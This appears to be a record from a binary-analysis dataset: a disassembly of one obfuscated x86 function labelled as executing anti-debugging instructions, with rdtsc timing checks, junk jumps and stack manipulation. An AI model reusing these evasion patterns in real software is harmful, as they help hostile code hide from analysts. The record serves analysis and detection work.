Function at 0x640d0d
Capabilities:
Execute anti-debugging instructions

Disassembly:
add eax, 0x3fff119c
jmp 0x641041
bswap eax
jmp 0x640d5d
jmp 0x640d95
setbe al
rol dl, 0
mov al, byte [esp]
cmp ah, al
jnp 0x640d47
neg ax
cmc
jmp 0x640d99
neg ax
cmc
lea esp, [esp + 4]
jmp 0x640da3
xor dl, 0xf0
mov ax, sp
setae al
add eax, 0xd0032f86
jmp 0x640e20
sub esp, 0xc
pushal
jmp 0x640dfe
pushal
lea edx, [ebx*4]
jmp 0x640e05
dec al
jae 0x640e3f
lea edx, [eax + esi]
lea eax, [ebx + edi]
rdtsc
mov dh, byte [esp]
jmp 0x640e5d
sub cl, dl
inc edx
jne 0x640dca
sub esp, 0xc
jmp 0x640dd4
lea edx, [ebx*4]
dec edi
not edx
setb ah
jmp 0x640dde
jo 0x640e92
xchg ah, al
setl al
jmp 0x640e97
rdtsc
mov dh, byte [esp]
jmp 0x640e5d
lea edx, [eax + esi]
lea eax, [ebx + edi]
jmp 0x640e29
mov eax, ebp
sub esp, 3
bswap edx
lea esp, [esp + 3]
jmp 0x640f04
add bl, 0x56
mov edx, 0x58564d91
inc eax
jne 0x640e47
je 0x640e72
jecxz 0x640ee6
call 0xdc1c8900
xor cl, byte [ebx + 0x3ec83c5]
mov eax, ebp
sub esp, 3
bswap edx
call fcn.00640eb2
xor dword [ebp + reloc.KERNEL32.dll_GetFileAttributesA], ebp
and dword [esi + reloc.KERNEL32.dll_GetFileAttributesA], edi
adc dword [ebx + reloc.KERNEL32.dll_GetFileAttributesA], edx
xchg esi, eax
add dword [esi - reloc.KERNEL32.dll_GetFileAttributesA], eax
xchg ah, al
setl al
jmp 0x640df4
mov edx, 0x40bddcaf
xchg dword [esp + 0x20], edi
mov dh, 0x2d
xchg dx, ax
xchg dx, ax
jmp 0x640f2a
jmp 0x640ec0
rol bl, 0
mov edx, ebp
mov ax, 0xa55f
not dx
mov al, byte [esp]
jmp 0x640f8e
push dword [esp + 0x20]
ret 0x24
lea edx, [esp + esi]
mov eax, 0x93531231
neg edx
js 0x640f64
lea edx, [eax + edi]
jmp 0x640f69
dec bl
mov eax, dword [esp]
jmp 0x640f31
sub esp, 0xb
push word [esp]
lea esp, [esp + 1]
jmp 0x640f96
lea edx, [eax + edi]
jmp 0x640f4e
sub esp, 0xb
push word [esp]
lea esp, [esp + 1]
jmp 0x640f96
sbb edx, 0x26fa85a6
mov word [esp + 0xb], bx
mov dx, word [esp + 0xc]
push cx
jmp 0x640fce
mov edx, dword [esp]
dec edx
jo 0x640f47
jno 0x640f47
lea esp, [esp + 0xc]
xor bl, 0x80
sub esp, 0x13
jb 0x640f76
jae 0x640fac
lodsb al, byte [esi]
sub bh, byte [eax - 0x3410d521]
bound eax, qword [ecx - 0x57a5926]
mov word es:[esp + 0xb], bx
sbb edx, 0x26fa85a6
mov word [esp + 0xb], bx
mov dx, word [esp + 0xc]
jmp 0x640feb
mov dl, al
lea eax, [ebx + esi]
lea esp, [esp + 1]
jmp 0x641007
push cx
mov dl, al
jmp 0x640fd0
rdtsc
bsf edx, ebx
mov dl, 1
jmp 0x641017
lea esp, [esp + 0x14]
dec bl
sub edx, 0x20109361
jns 0x640ff1
js 0x64105d
mov eax, ebx
setle dh
bswap edx
rol edx, cl
jle 0x641035
mov dx, word [esp]
jmp 0x64109c
jmp 0x641098
bswap edx
setns dl
jmp 0x63fae7
sub esp, 4
jns 0x64107c
lea esp, [esp + 1]
jmp 0x641521
rdtsc
bsf edx, ebx
mov dl, 1
jmp 0x641017
lea esp, [esp + 1]
call 0x6410bf
movsb byte es:[edi], byte [esi]
sub dword [ecx - reloc.KERNEL32.dll_GetFileAttributesA], edi
dec edx
fdivr dword [edi - 0x109b0ab6]
jg 0x6410af
jmp 0x8bca92dc
mov dx, word [esp]
shl eax, 2
sets dl
mov edx, 0x9c67c53
jmp 0x641037
sub esp, 0xd
lea esp, [esp + 1]
xchg dword [esp + 0xc], ecx
mov dx, 0xd12b
call fcn.006419d6
cmp eax, 0x8ddef60c
add dword [edi + reloc.KERNEL32.dll_GetFileAttributesA], eax
mov edx, 0x19e8d12b
or dword [eax], eax
add byte [0x8ddef60c], bh
adc al, 0xad
add byte [eax], al
add byte [eax], al
lea edx, [ecx + ebx]
mov edx, dword [esp]
jmp 0x6410a9
sub esp, 0xc
jmp 0x641500
mov eax, dword [eax - reloc.KERNEL32.dll_GetFileAttributesA]
neg dx
jo 0x6414d6
sub esp, 0xc
jmp 0x641642
mov dx, bx
mov byte [esp + 7], dh
jmp 0x63fafb
neg dx
lea esp, [esp + 3]
jmp 0x6414ec
mov dx, bx
mov byte [esp + 7], dh
jmp 0x63fafb